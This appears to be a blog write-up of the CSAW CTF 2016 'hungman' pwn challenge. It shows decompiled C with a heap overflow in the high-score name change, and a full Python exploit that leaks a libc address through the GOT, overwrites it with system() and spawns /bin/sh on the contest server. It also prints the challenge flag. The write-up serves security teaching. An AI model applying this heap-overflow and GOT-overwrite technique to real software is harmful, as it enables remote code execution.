j31d0 Blog

csaw ctf 2016 hungman writeup

problem binary serves simple hangman service.

$ ./hungman
What's your name?
HELLO
Welcome HELLO
_____
q
_q___
d
_q___
s
_q___
a
Default Highscore  score: 64
Continue? n
$

it has vulnerability at saving name of high-score.

...
    if ( str_name->score > highScore )
    {
      puts("High score! change name?");
      __isoc99_scanf(" %c", &v3);
      if ( v3 == 'y' )
      {
        s = malloc(0xF8uLL);
        memset(s, 0, 0xF8uLL);
        v8 = read(0, s, 0xF8uLL);
        str_name->len = v8;
        v14 = strchr((const char *)s, '\n');
        if ( v14 )
          *v14 = 0;
        memcpy(str_name->buf, s, v8);
        free(s);
      }
      snprintf(highScoreName, 0x200uLL, "Highest player: %s", str_name->buf);
      highScore = str_name->score;
    }
    memset(&str_name->field_10, 0, 0x1AuLL);
    free(buf);
  }
}

It is easy to know that if str_name->buf was malloc with less then 0xF8, heap overflow occured.

So we need to analyze when str_name initiallized.

str *get_name()
{
  char *v0; // ST10_8@3
  str *str_name; // ST18_8@3
  str *result; // rax@3
  __int64 v3; // rbx@3
  int v4; // [rsp+Ch] [rbp-124h]@1
  char *v5; // [rsp+10h] [rbp-120h]@1
  char s; // [rsp+20h] [rbp-110h]@1
  __int64 v7; // [rsp+118h] [rbp-18h]@1

  v7 = *MK_FP(__FS__, 40LL);
  write(1, "What's your name?\n", 0x12uLL);
  memset(&s, 0, 0xF8uLL);
  v4 = read(0, &s, 0xF7uLL);
  v5 = strchr(&s, '\n');
  if ( v5 )
    *v5 = 0;
  v0 = (char *)malloc(v4);
  str_name = (str *)malloc(0x80uLL);
  memset(str_name, 0, 0x80uLL);
  str_name->buf = v0;
  str_name->len = v4;
  memcpy(str_name->buf, &s, v4);
  result = str_name;
  v3 = *MK_FP(__FS__, 40LL) ^ v7;
  return result;
}

str_name->len is same as length of my name.

if your name is short, chance of getting highscore gets lower ( because hangman string is initialized with your name ) so we have to choose appropriate length of name, I choose 40.

if heap was overflowed, we can easily get offset of libc binary with .got section, and finaly overwrite to system.

#!/usr/bin/python

import pwnbox
import struct
import argparse
import time

#flag{this_looks_like_its_a_well_hungman}

parser = argparse.ArgumentParser(description='hungman exploit')
parser.add_argument("-l", "--local", action="store_true")

args = parser.parse_args()

def get_highscore():
    x = 'a'
    while True:
        d = p.read_until('\n')
        if 'change name?' in d:
            p.write('y\n')
            return
        else:
            p.write('%c\n' % x)
            x = chr((ord(x)+1) % 26 + ord('a'))

got_snprintf = 0x602048
got_trash = 0x602010

if args.local:
    p = pwnbox.pipe.ProcessPipe('./hungman')
    offset_snprintf = 0x544b0
    offset_gets = 0x6F440
    offset_system = 0x46640
    offset_trash = 0x3db4e0

else:
    p = pwnbox.pipe.SocketPipe('pwn.chal.csaw.io',8003)
    offset_snprintf = 0x55860
    offset_gets = 0x6ECC0
    offset_system = 0x45380
    offset_trash = 0x3e0c80

p.read_until('name?\n')
p.write('A'* (16 * 3 - 8)  + '\n')
p.read_until('\n')
get_highscore()

dummy = "".ljust(0x4C - 8, "A")
payload = ''
payload += struct.pack("<I", 4)
payload += struct.pack("<Q", got_trash)
p.write(dummy + payload)

p.read_until('Highest player: ')

libc_trash = struct.unpack("<Q",p.read_until('score: ')[:6].ljust(8,'\x00'))[0]

libc_base = libc_trash - offset_trash
libc_gets = libc_base + offset_gets
libc_system = libc_base + offset_system

print "%x" % libc_base

p.read_until('Continue? ')
p.write('y')

get_highscore()

payload = ""
payload += "/bin/sh\x00"
payload += struct.pack("<Q",libc_system)
p.write(payload)
#p.write('y\n')

#get_highscore()
#p.write(struct.pack("<Q",libc_system))

p.interact()